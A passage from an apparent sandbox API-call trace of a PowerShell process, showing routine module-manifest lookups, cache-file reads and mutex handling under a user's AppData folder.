lpOverlapped=0x0 | out: lpBuffer=0x6888e7c*, lpNumberOfBytesRead=0x99ae960*=0x1000, lpOverlapped=0x0) returned 1 [0114.349] ReadFile (in: hFile=0x858, lpBuffer=0x688d957, nNumberOfBytesToRead=0xf, lpNumberOfBytesRead=0x99ae97c, lpOverlapped=0x0 | out: lpBuffer=0x688d957*, lpNumberOfBytesRead=0x99ae97c*=0xf, lpOverlapped=0x0) returned 1 [0114.349] ReadFile (in: hFile=0x858, lpBuffer=0x6888e7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ae958, lpOverlapped=0x0 | out: lpBuffer=0x6888e7c*, lpNumberOfBytesRead=0x99ae958*=0x662, lpOverlapped=0x0) returned 1 [0114.349] ReadFile (in: hFile=0x858, lpBuffer=0x6888e7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ae9d0, lpOverlapped=0x0 | out: lpBuffer=0x6888e7c*, lpNumberOfBytesRead=0x99ae9d0*=0x0, lpOverlapped=0x0) returned 1 [0114.349] CloseHandle (hObject=0x858) returned 1 [0114.350] ReleaseMutex (hMutex=0x81c) returned 1 [0114.350] GetFullPathNameW (in: lpFileName="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x105, lpBuffer=0x99ae884, lpFilePart=0x0 | out: lpBuffer="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", lpFilePart=0x0) returned 0x73 [0114.350] CoTaskMemAlloc (cb=0x20e) returned 0x8e542c0 [0114.350] GetEnvironmentVariableW (in: lpName="PSDisableModuleAutoLoadingMemoryCache", lpBuffer=0x8e542c0, nSize=0x105 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x0 [0114.350] CoTaskMemFree (pv=0x8e542c0) [0114.350] CoTaskMemAlloc (cb=0x20c) returned 0x8e542c0 [0114.350] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x8e542c0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 0x0 [0114.350] CoTaskMemFree (pv=0x8e542c0) [0114.350] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x99ae6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", lpFilePart=0x0) returned 0x23 [0114.350] GetCurrentProcess () returned 0xffffffff [0114.350] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x99aeb60 | out: TokenHandle=0x99aeb60*=0x858) returned 1 [0114.350] GetTokenInformation (in: TokenHandle=0x858, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x99aebac | out: TokenInformation=0x0, ReturnLength=0x99aebac) returned 0 [0114.350] LocalAlloc (uFlags=0x0, uBytes=0x24) returned 0x439e900 [0114.351] GetTokenInformation (in: TokenHandle=0x858, TokenInformationClass=0x1, TokenInformation=0x439e900, TokenInformationLength=0x24, ReturnLength=0x99aebac | out: TokenInformation=0x439e900, ReturnLength=0x99aebac) returned 1 [0114.351] LocalFree (hMem=0x439e900) returned 0x0 [0114.351] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x68977b8, cbSid=0x99aebb0 | out: pSid=0x68977b8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x99aebb0) returned 1 [0114.351] CreateMutexW (lpMutexAttributes=0x6897894, bInitialOwner=0, lpName="Global\\PowerShell_CommandAnalysis_Lock_S-1-5-21-1462094071-1423818996-289466292-1000") returned 0x860 [0114.351] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x99aeb84*=0x860, lpdwindex=0x99ae9a4 | out: lpdwindex=0x99ae9a4) returned 0x0 [0114.351] CoTaskMemAlloc (cb=0x20e) returned 0x8e55850 [0114.351] GetEnvironmentVariableW (in: lpName="PSDisableModuleAutoLoadingMemoryCache", lpBuffer=0x8e55850, nSize=0x105 | out: lpBuffer="") returned 0x0 [0114.351] CoTaskMemFree (pv=0x8e55850) [0114.351] GetFullPathNameW (in: lpFileName="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x105, lpBuffer=0x99ae6f0, lpFilePart=0x0 | out: lpBuffer="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", lpFilePart=0x0) returned 0x73 [0114.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb80) returned 1 [0114.351] GetFileAttributesExW (in: lpFileName="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1"), fInfoLevelId=0x0, lpFileInformation=0x6897dd8 | out: lpFileInformation=0x6897dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e085af, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8e085af, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8e085af, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x296)) returned 1 [0114.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb7c) returned 1 [0114.352] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", nBufferLength=0x105, lpBuffer=0x99ae6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", lpFilePart=0x0) returned 0x51 [0114.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeafc) returned 1 [0114.352] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\powershell\\commandanalysis"), fInfoLevelId=0x0, lpFileInformation=0x99aeb78 | out: lpFileInformation=0x99aeb78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a31932, ftCreationTime.dwHighDateTime=0x1d2fc25, ftLastAccessTime.dwLowDateTime=0x51b3088, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x51b3088, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0114.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeaf8) returned 1 [0114.352] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheEntry_e1d59afd-fedf-4dad-a2f3-bba3e7eabe5c", nBufferLength=0x105, lpBuffer=0x99ae5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheEntry_e1d59afd-fedf-4dad-a2f3-bba3e7eabe5c", lpFilePart=0x0) returned 0x93 [0114.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaac) returned 1 [0114.352] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheEntry_e1d59afd-fedf-4dad-a2f3-bba3e7eabe5c" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\powershell\\commandanalysis\\powershell_analysiscacheentry_e1d59afd-fedf-4dad-a2f3-bba3e7eabe5c"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0114.353] GetFileType (hFile=0x864) returned 0x1 [0114.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeaa8) returned 1 [0114.353] GetFileType (hFile=0x864) returned 0x1 [0114.353] ReadFile (in: hFile=0x864, lpBuffer=0x6899050, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99aea10, lpOverlapped=0x0 | out: lpBuffer=0x6899050*, lpNumberOfBytesRead=0x99aea10*=0x972, lpOverlapped=0x0) returned 1 [0114.412] ReadFile (in: hFile=0x864, lpBuffer=0x6899050, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ae9d0, lpOverlapped=0x0 | out: lpBuffer=0x6899050*, lpNumberOfBytesRead=0x99ae9d0*=0x0, lpOverlapped=0x0) returned 1 [0114.412] CloseHandle (hObject=0x864) returned 1 [0114.412] ReleaseMutex (hMutex=0x860) returned 1 [0114.412] GetFullPathNameW (in: lpFileName="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", nBufferLength=0x105, lpBuffer=0x99ae884, lpFilePart=0x0 | out: lpBuffer="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", lpFilePart=0x0) returned 0x77 [0114.412] CoTaskMemAlloc (cb=0x20e) returned 0x8e551d8 [0114.412] GetEnvironmentVariableW (in: lpName="PSDisableModuleAutoLoadingMemoryCache", lpBuffer=0x8e551d8, nSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x0 [0114.412] CoTaskMemFree (pv=0x8e551d8) [0114.412] CoTaskMemAlloc (cb=0x20c) returned 0x8e544e8 [0114.412] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x8e544e8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 0x0 [0114.412] CoTaskMemFree (pv=0x8e544e8) [0114.412] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x99ae6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", lpFilePart=0x0) returned 0x23 [0114.413] GetCurrentProcess () returned 0xffffffff [0114.413] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x99aeb60 | out: TokenHandle=0x99aeb60*=0x864) returned 1 [0114.413] GetTokenInformation (in: TokenHandle=0x864, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x99aebac | out: TokenInformation=0x0, ReturnLength=0x99aebac) returned 0 [0114.413] LocalAlloc (uFlags=0x0, uBytes=0x24) returned 0x439ec00 [0114.413] GetTokenInformation (in: TokenHandle=0x864, TokenInformationClass=0x1, TokenInformation=0x439ec00, TokenInformationLength=0x24, ReturnLength=0x99aebac | out: TokenInformation=0x439ec00, ReturnLength=0x99aebac) returned 1 [0114.413] LocalFree (hMem=0x439ec00) returned 0x0 [0114.413] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x689ccd4, cbSid=0x99aebb0 | out: pSid=0x689ccd4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x99aebb0) returned 1 [0114.413] CreateMutexW (lpMutexAttributes=0x689cdb0, bInitialOwner=0, lpName="Global\\PowerShell_CommandAnalysis_Lock_S-1-5-21-1462094071-1423818996-289466292-1000") returned 0x868 [0114.413] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x99aeb84*=0x868, lpdwindex=0x99ae9a4 | out: lpdwindex=0x99ae9a4) returned 0x0 [0114.413] CoTaskMemAlloc (cb=0x20e) returned 0x8e537f8 [0114.413] GetEnvironmentVariableW (in: lpName="PSDisableModuleAutoLoadingMemoryCache", lpBuffer=0x8e537f8, nSize=0x105 | out: lpBuffer="\x3808\x8e5\x4b60\x8e5\x1c") returned 0x0 [0114.413] CoTaskMemFree (pv=0x8e537f8) [0114.413] GetFullPathNameW (in: lpFileName="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", nBufferLength=0x105, lpBuffer=0x99ae6f0, lpFilePart=0x0 | out: lpBuffer="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", lpFilePart=0x0) returned 0x77 [0114.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb80) returned 1 [0114.413] GetFileAttributesExW (in: lpFileName="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils\\microsoft.powershell.odatautils.psd1"), fInfoLevelId=0x0, lpFileInformation=0x689d2fc | out: lpFileInformation=0x689d2fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8de2340, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8de2340, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8de2340, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x6194)) returned 1 [0114.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb7c) returned 1 [0114.414] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", nBufferLength=0x105, lpBuffer=0x99ae6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", lpFilePart=0x0) returned 0x51 [0114.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeafc) returned 1 [0114.414] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\powershell\\commandanalysis"), fInfoLevelId=0x0, lpFileInformation=0x99aeb78 | out: lpFileInformation=0x99aeb78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a31932, ftCreationTime.dwHighDateTime=0x1d2fc25, ftLastAccessTime.dwLowDateTime=0x51b3088, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x51b3088, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0114.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeaf8) returned 1 [0114.414] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheEntry_06f90924-1e5d-474b-ba1f-65c4b5caf36a", nBufferLength=0x105, lpBuffer=0x99ae5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheEntry_06f90924-1e5d-474b-ba1f-65c4b5caf36a", lpFilePart=0x0) returned 0x93 [0114.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaac) returned 1 [0114.414] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheEntry_06f90924-1e5d-474b-ba1f-65c4b5caf36a" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\powershell\\commandanalysis\\powershell_analysiscacheentry_06f90924-1e5d-474b-ba1f-65c4b5caf36a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0114.415] GetFileType (hFile=0x86c) returned 0x1 [0114.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeaa8) returned 1 [0114.415] GetFileType (hFile=0x86c) returned 0x1 [0114.415] ReadFile (in: hFile=0x86c, lpBuffer=0x689e580, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99aea10, lpOverlapped=0x0 | out: lpBuffer=0x689e580*, lpNumberOfBytesRead=0x99aea10*=0x155, lpOverlapped=0x0) returned 1 [0114.416] ReadFile (in: hFile=0x86c, lpBuffer=0x689e580, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ae9d0, lpOverlapped=0x0 | out: lpBuffer=0x689e580*, lpNumberOfBytesRead=0x99ae9d0*=0x0, lpOverlapped=0x0) returned 1 [0114.416] CloseHandle (hObject=0x86c) returned 1 [0114.416] ReleaseMutex (hMutex=0x868) returned 1 [0114.416] GetFullPathNameW (in: lpFileName="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x105, lpBuffer=0x99ae884, lpFilePart=0x0 | out: lpBuffer="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0114.416] CoTaskMemAlloc (cb=0x20e) returned 0x8e54098 [0114.416] GetEnvironmentVariableW (in: lpName="PSDisableModuleAutoLoadingMemoryCache", lpBuffer=0x8e54098, nSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x0 [0114.416] CoTaskMemFree (pv=0x8e54098) [0114.416] CoTaskMemAlloc (cb=0x20c) returned 0x8e54710 [0114.416] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x8e54710 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 0x0 [0114.416] CoTaskMemFree (pv=0x8e54710) [0114.417] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x99ae6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", lpFilePart=0x0) returned 0x23 [0114.417] GetCurrentProcess () returned 0xffffffff [0114.417] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x99aeb60 | out: TokenHandle=0x99aeb60*=0x86c) returned 1 [0114.417] GetTokenInformation (in: TokenHandle=0x86c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x99aebac | out: TokenInformation=0x0, ReturnLength=0x99aebac) returned 0 [0114.417] LocalAlloc (uFlags=0x0, uBytes=0x24) returned 0x439eb40 [0114.417] GetTokenInformation (in: TokenHandle=0x86c, TokenInformationClass=0x1, TokenInformation=0x439eb40, TokenInformationLength=0x24, ReturnLength=0x99aebac | out: TokenInformation=0x439eb40, ReturnLength=0x99aebac) returned 1 [0114.417] LocalFree (hMem=0x439eb40) returned 0x0 [0114.417] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x68a1798, cbSid=0x99aebb0 | out: pSid=0x68a1798*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x99aebb0) returned 1 [0114.417] CreateMutexW (lpMutexAttributes=0x68a1874, bInitialOwner=0, lpName="Global\\PowerShell_CommandAnalysis_Lock_S-1-5-21-1462094071-1423818996-289466292-1000") returned 0x870 [0114.417] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x99aeb84*=0x870, lpdwindex=0x99ae9a4 | out: lpdwindex=0x99ae9a4) returned 0x0 [0114.417] CoTaskMemAlloc (cb=0x20e) returned 0x8e55628 [0114.417] GetEnvironmentVariableW (in: lpName="PSDisableModuleAutoLoadingMemoryCache", lpBuffer=0x8e55628, nSize=0x105 | out: lpBuffer="\x5638\x8e5\x60f0\x8e5\x10") returned 0x0 [0114.417] CoTaskMemFree (pv=0x8e55628) [0114.417] GetFullPathNameW (in: lpFileName="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x105, lpBuffer=0x99ae6f0, lpFilePart=0x0 | out: lpBuffer="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0114.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb80) returned 1 [0114.418] GetFileAttributesExW (in: lpFileName="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x68a1dc0 | out: lpFileInformation=0x68a1dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9edf556, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc9edf556, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc9edf556, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x955)) returned 1 [0114.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb7c) returned 1 [0114.418] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", nBufferLength=0x105, lpBuffer=0x99ae6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", lpFilePart=0x0) returned 0x51 [0114.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeafc) returned 1 [0114.418] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\powershell\\commandanalysis"), fInfoLevelId=0x0, lpFileInformation=0x99aeb78 | out: lpFileInformation=0x99aeb78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a31932, ftCreationTime.dwHighDateTime=0x1d2fc25, ftLastAccessTime.dwLowDateTime=0x51b3088, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x51b3088, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0114.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeaf8) returned 1 [0114.418] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheEntry_bf1cb9b0-ce8c-44e7-bb1c-52ad1299acf8", nBufferLength=0x105, lpBuffer=0x99ae5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheEntry_bf1cb9b0-ce8c-44e7-bb1c-52ad1299acf8", lpFilePart=0x0) returned 0x93 [0114.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaac) returned 1 [0114.418] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheEntry_bf1cb9b0-ce8c-44e7-bb1c-52ad1299acf8" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\powershell\\commandanalysis\\powershell_analysiscacheentry_bf1cb9b0-ce8c-44e7-bb1c-52ad1299acf8"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0114.418] GetFileType (hFile=0x874) returned 0x1 [0114.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeaa8) returned 1 [0114.418] GetFileType (hFile=0x874) returned 0x1 [0114.418] ReadFile (in: hFile=0x874, lpBuffer=0x68a3044, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99aea10, lpOverlapped=0x0 | out: lpBuffer=0x68a3044*, lpNumberOfBytesRead=0x99aea10*=0x1000, lpOverlapped=0x0) returned 1 [0114.420] ReadFile (in: hFile=0x874, lpBuffer=0x68a4856, nNumberOfBytesToRead=0xd, lpNumberOfBytesRead=0x99ae938, lpOverlapped=0x0 | out: lpBuffer=0x68a4856*, lpNumberOfBytesRead=0x99ae938*=0xd, lpOverlapped=0x0) returned 1 [0114.420] ReadFile (in: hFile=0x874, lpBuffer=0x68a3044, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ae960, lpOverlapped=0x0 | out: lpBuffer=0x68a3044*, lpNumberOfBytesRead=0x99ae960*=0x1000, lpOverlapped=0x0) returned 1 [0114.420] ReadFile (in: hFile=0x874, lpBuffer=0x68a4893, nNumberOfBytesToRead=0x1f, lpNumberOfBytesRead=0x99ae8b4, lpOverlapped=0x0 | out: lpBuffer=0x68a4893*, lpNumberOfBytesRead=0x99ae8b4*=0x1f, lpOverlapped=0x0) returned 1 [0114.420] ReadFile (in: hFile=0x874, lpBuffer=0x68a3044, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ae8b8, lpOverlapped=0x0 | out: lpBuffer=0x68a3044*, lpNumberOfBytesRead=0x99ae8b8*=0x1000, lpOverlapped=0x0) returned 1 [0114.420] ReadFile (in: hFile=0x874, lpBuffer=0x68a48a6, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x99ae8b4, lpOverlapped=0x0 | out: lpBuffer=0x68a48a6*, lpNumberOfBytesRead=0x99ae8b4*=0xc, lpOverlapped=0x0) returned 1 [0114.420] ReadFile (in: hFile=0x874, lpBuffer=0x68a3044, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ae8b8, lpOverlapped=0x0 | out: lpBuffer=0x68a3044*, lpNumberOfBytesRead=0x99ae8b8*=0x99a, lpOverlapped=0x0) returned 1 [0114.421] ReadFile (in: hFile=0x874, lpBuffer=0x68a3044, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ae9d0, lpOverlapped=0x0 | out: lpBuffer=0x68a3044*, lpNumberOfBytesRead=0x99ae9d0*=0x0, lpOverlapped=0x0) returned 1 [0114.421] CloseHandle (hObject=0x874) returned 1 [0114.421] ReleaseMutex (hMutex=0x870) returned 1 [0114.422] CoCreateGuid (in: pguid=0x99aecfc | out: pguid=0x99aecfc*(Data1=0x2f8c709b, Data2=0x187, Data3=0x4ad4, Data4=([0]=0xa4, [1]=0xf5, [2]=0x51, [3]=0xad, [4]=0x73, [5]=0x2e, [6]=0x41, [7]=0x7c))) returned 0x0 [0114.426] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x874 [0114.426] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x878 [0114.426] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x880 [0114.426] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x750 [0114.426] SetEvent (hEvent=0x750) returned 1 [0114.426] SetEvent (hEvent=0x874) returned 1 [0114.426] SetEvent (hEvent=0x878) returned 1 [0114.426] SetEvent (hEvent=0x880) returned 1 [0114.439] AmsiCloseSession () returned 0x475aaa0 [0114.439] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x884 [0114.439] SetThreadUILanguage 